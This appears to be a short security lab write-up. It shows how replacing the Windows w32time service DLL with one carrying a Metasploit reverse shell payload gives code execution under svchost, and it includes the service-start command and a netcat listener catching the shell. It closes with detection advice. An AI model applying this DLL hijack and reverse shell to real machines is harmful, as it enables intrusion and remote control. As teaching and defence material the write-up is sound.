Service w32time depends on the DLL specified in
If an attacker can replace the
w32time.dll with his malicious DLL or modify the DllName value to point to his malicious binary, he can get that malicious code executed.
In this lab, we will just swap out the
w32time.dll with our own. It contains a metasploit reverse shell payload:
Starting the w32time service:
C:\Users\mantvydas\Start Menu\Programs\Startup>sc.exe start w32timeSERVICE_NAME: w32timeTYPE : 20 WIN32_SHARE_PROCESSSTATE : 2 START_PENDING(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)WIN32_EXIT_CODE : 0 (0x0)SERVICE_EXIT_CODE : 0 (0x0)CHECKPOINT : 0x0WAIT_HINT : 0x7d0PID : 964FLAGS :
Attacker receiving a reverse shell:
[email protected]~# nc -lvvp 443listening on [any] 443 ...10.0.0.2: inverse host lookup failed: Unknown hostconnect to [10.0.0.5] from (UNKNOWN) [10.0.0.2] 64634
The shell is running as a child of svchost which is expected as this is where all the services originate from:
Note that the code is running under the context of
This time and time again shows that binaries running off of svchost.exe, especially if they are rundll32 and are making network connections, should be investigated further.